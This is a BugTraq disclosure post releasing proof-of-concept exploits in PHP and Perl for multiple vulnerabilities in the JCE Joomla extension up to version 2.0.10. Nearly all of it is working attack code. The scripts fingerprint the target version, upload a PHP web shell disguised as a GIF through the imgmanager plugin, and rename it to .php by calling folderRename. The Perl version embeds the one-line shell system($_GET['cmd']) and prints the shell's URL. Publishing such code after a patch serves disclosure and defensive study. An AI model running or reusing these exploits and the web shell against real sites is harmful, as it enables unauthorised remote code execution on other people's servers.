BugTraq
Related POC for JCE Joomla Extension <=2.0.10 MultipleVulnerabilities Oct 11 2011 09:14AM
admin bugreport ir
After release of vendor supplied patch for JCE's vulnerabilities,
AmnPardaz is going to submit related POC for this issue in Perl and
PHP after one month for educational purposes.

PHP Version:
<?php
######################################### www.bugreport.ir
########################################
#
# AmnPardaz Security Research & Penetration Testing Group
#
#
# Title: Exploit for JCE Joomla Extension (Auto Shell
Uploader) V0.1 - PHP Version
# Vendor: http://www.joomlacontenteditor.net
# Vulnerable Version: JCE 2.0.10 (prior versions also may be affected)
# Exploitation: Remote with browser
# Original Advisory: http://www.bugreport.ir/index_78.htm
# Vendor supplied patch:
http://www.joomlacontenteditor.net/news/item/jce-2011-released
# CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5
# Coded By: Mostafa Azizi
########################################################################
###########################

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html>
<head>
<title>JCE Joomla Extension Remote File Upload</title>
</head>

<body bgcolor="#00000">

<p align="center"><font size="4" color="#00ff00">JCE Joomla Extension
Remote File Upload</font></p>
</font>
<table width="90%">
<tbody>
<tr>
<td width="43%" align="left">
<form name="form1" action="'.$SERVER[PHP_SELF].'"
enctype="multipart/form-data" method="post">
<p></font><font color="#00ff00" > hostname
(ex:www.sitename.com): </font><input name="host" size="20"> <span
class="Stile5"><font color="#FF0000">*</span></p>
<p></font><font color="#00ff00" > path (ex: /joomla/ or
just / ): </font><input name="path" size="20"> <span
class="Stile5"><font color="#FF0000">*</span></p>
<p></font><font color="#00ff00" >Please specify a file to upload:
</font><input type="file" name="datafile" size="40"><font
color="#FF0000"> * </font>
<p><font color="#00ff00" > specify a port (default is 80):
</font><input name="port" size="20"><span
class="Stile5"></span></p>
<p><font color="#00ff00" > Proxy (ip:port):
</font><input name="proxy" size="20"><span
class="Stile5"></span></p>
<p align="center"> <span class="Stile5"><font
color="#FF0000">* </font><font color="white" >fields are
required</font></font></span></p>
<p><input type="submit" value="Start" name="Submit"></p>
</form>
</td>
</tr>
</tbody>
</table>
</body></html>';

function sendpacket($packet,$response = 0,$output = 0,$s=0)
{
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
global $proxy, $host, $port, $html, $user, $pass;
if ($proxy == '')
{
$ock = fsockopen($host,$port);
stream_set_timeout($ock, 5);
if (!$ock)
{
echo '<font color=white> No response from '.htmlentities($host).'
...<br></font>';
die;
}
} else
{
$parts = explode(':',$proxy);
echo '<font color=white>Connecting to proxy:
'.$parts[0].':'.$parts[1].' ...<br><br/></font>';
$ock = fsockopen($parts[0],$parts[1]);
stream_set_timeout($ock, 5);
if (!$ock)
{
echo '<font color=white>No response from proxy...<br></font>';
die;
}
}

fputs($ock,$packet);
if ($response == 1)
{
if ($proxy == '')
{
$html = '';
while (!feof($ock))
{
$html .= fgets($ock);
}
} else
{
$html = '';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html .= fread($ock,1);
}
}
} else $html = '';

fclose($ock);
if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
if ($s==1){
$count=0;
$res=nl2br(htmlentities($html));
$str =
array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</
title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5
.7.12</title','1.5.7.13</title','1.5.7.14</title');
foreach ($str as $value){
$pos = strpos($res, $value);
if ($pos === false) {
$count=$count++;
} else {
echo "<font color=white>Target patched.<br/><br/></font>";
die();
}
}
if ($count=10) echo '<font color=white>Target is
exploitable.<br/><br/></font>';
}
}

$host = $_POST['host'];
$path = $_POST['path'];
$port = $_POST['port'];
$proxy = $_POST['proxy'];

if (isset($_POST['Submit']) && $host != '' && $path != '')
{

$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font
color=white>Error... check the path!</font>');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);

/* Packet 1 --> Checking Exploitability */
$packet = "GET
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgma
nager&version=1576&cid=20
HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";

sendpacket($packet,1,0,1);

/* Packet 2 --> Uploading shell as a gif file */

$content = "GIF89a1\n";
$content .= file_get_contents($_FILES['datafile']['tmp_name']);
$data = "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";
$data .= "/\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\";
filename=\"\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data;
name=\"upload-overwrite\"\r\n\r\n";
$data .= "0\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\";
filename=\"0day.gif\"\r\n";
$data .= "Content-Type: image/gif\r\n\r\n";
$data .= "$content\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "0day\r\n";
$data .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
$data .= "upload\r\n";
$data .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";
$packet = "POST
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgma
nager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c19
88a9f8a564e0da7743
HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";
$packet .= "Content-Type: multipart/form-data;
boundary=---------------------------41184676334\r\n";
$packet .= "Accept-Language: en-us,en;q=0.5\r\n";
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Cookie:
6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743;
jce_imgmanager_dir=%2F;
__utma=216871948.2116932307.1317632284.1317632284.1317632284.1;
__utmb=216871948.1.10.1317632284; __utmc=216871948;
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(
none)\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Proxy-Connection: close\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";
$packet .= $data;

sendpacket($packet,0,0,0);

/* Packet 3 --> Change Extension from .gif to .php */

$packet = "POST
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgma
nager&version=1576&cid=20
HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
$packet .= "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$packet .= "Accept-Language: en-US,en;q=0.8\r\n";
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded;
charset=utf-8\r\n";
$packet .= "Accept-Encoding: deflate\n";
$packet .= "X-Request: JSON\r\n";
$packet .= "Cookie:
__utma=216871948.2116932307.1317632284.1317639575.1317734968.3;
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(
none);
__utmb=216871948.20.10.1317734968; __utmc=216871948;
jce_imgmanager_dir=%2F;
6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
$ren
="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";

$packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
$packet .= $ren."\r\n\r\n";

sendpacket($packet,1,0,0);

/* Packet 4 --> Check for successfully uploaded */

$packet = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";

sendpacket($packet,1,0,0);

if(stristr($html , '200 OK') != true)
{echo "<font color=white>Exploit Faild...</font>";} else echo
"<font color=white>Exploit
Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font
>";
}
?>

Perl Version:

######################################### www.bugreport.ir
########################################
#
# AmnPardaz Security Research & Penetration Testing Group
#
#
# Title: Exploit for JCE Joomla Extension (Auto Shell
Uploader) V0.1 - PHP Version
# Vendor: http://www.joomlacontenteditor.net
# Vulnerable Version: JCE 2.0.10 (prior versions also may be affected)
# Exploitation: Remote with browser
# Original Advisory: http://www.bugreport.ir/index_78.htm
# Vendor supplied patch:
http://www.joomlacontenteditor.net/news/item/jce-2011-released
# CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5
# Coded By: Mostafa Azizi
########################################################################
###########################
use IO::Socket;
use LWP::Simple;
system("cls");
if(!defined($ARGV[0])) {
print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell
Uploader) V0.1 .::.\n\n";
print "\t|||| Coded by: Mostafa Azizi (admin[@]0-Day[dot]net)
||||\n\n";
print "\t+--> Usage: perl $0 <host> <--+\n";
print "\t+--> Example: perl $0 localhost <--+\n\n";
exit; }
print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell
Uploader) V0.1 .::.\n\n";
print "\t|||| Coded by: Mostafa Azizi (admin[@]0-Day[dot]net)
||||\n\n";
$TARGET = $ARGV[0];
$PORT = "80";
$SCRIPT =
"/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager
&version=1576&cid=20";
$SHELL = "/images/stories/0day.php?cmd=";
$HTTP = "http://";

$header1G = "GET $SCRIPT HTTP/1.1";
$header1H = "HEAD /images/stories/0day.php HTTP/1.1";
$header1P = "POST
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&
method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d
0dd595c8e20b
HTTP/1.1";
$header1P2 = "POST
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&
version=1576&cid=20
HTTP/1.1";
$header2 = "Host: $TARGET";
$header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
$header4 = "Content-Type: multipart/form-data;
boundary=---------------------------41184676334";
$header5 = "Content-Length: 769";
$header6 = "-----------------------------41184676334";
$header7 = 'Content-Disposition: form-data; name="upload-dir"';
$header8 = '/';
$header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
$header10 = 'Content-Type: application/octet-stream';
$header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
$header12 = "0";
$header13 = 'Content-Disposition: form-data; name="Filedata";
filename="0day.gif"';
$header14 = 'Content-Type: image/gif';
$header15 = 'GIF89aG';
$header16 = "<? system(\$_GET['cmd']\);exit; ?>";
$header17 = 'Content-Disposition: form-data; name="upload-name"';
$header18 = '0day';
$header19 = 'Content-Disposition: form-data; name="action"';
$header20 = 'upload';
$header21 = "-----------------------------41184676334--";
$header22 = 'X-Request: JSON';
$header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
$header25 = 'json={"fn":"folderRename","args":["/0day.gif","0day.php"]}';
$header24 = "Content-Length: ".length($header25)."";

############################################### Packet 1 --> Checking
Exploitability #########################################################
print "\n[*] Checking Exploitability ...\n\n";
sleep 2;
$pageURL=$TARGET.$SCRIPT;
$simplePage=get($pageURL);
@arr =
("2.0.11</title","2.0.12</title","2.0.13</title","2.0.14</title","2.0.15
</title","1.5.7.10</title","1.5.7.11</title","1.5.7.12</title","1.5.7
.13</title","1.5.7.14</title");
while (($count!=10) && ($die != 1)) {
foreach $arr(@arr){
if ($simplePage =~ m/$arr/) {
print "\n[*] Target patched.\n\n";
$die = 1;
} else {
$count++;
}
}
}
if ($count==5) {print "[*] Target is exploitable.\n\n"};
############################################### Packet 2 --> Uploading
shell as a gif file
#########################################################
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET"
,PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";
print "[*] Trying to upload 0day.gif ...\n\n";
print $remote
"$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7
\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n
$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$head
er6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21
\n\n";
sleep 2;
############################################### Packet 3 --> Change
Extension from .gif to .php
#########################################################
print "[*] Trying to change extension from .gif to .php ...\n\n";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET"
,PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";
print $remote
"$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$hea
der25\n\n";
############################################### Packet 4 --> Check for
successfully uploaded
#########################################################
$shellurl=$TARGET.$SHELL;
$output=get($shellurl);
while ($output = <$remote> ) {
if ($output =~ /200 OK/) {
print "[+] 0day.php was successfully uploaded\n\n";
print "[+] Path:".$TARGET.$SHELL."id\n";
}}

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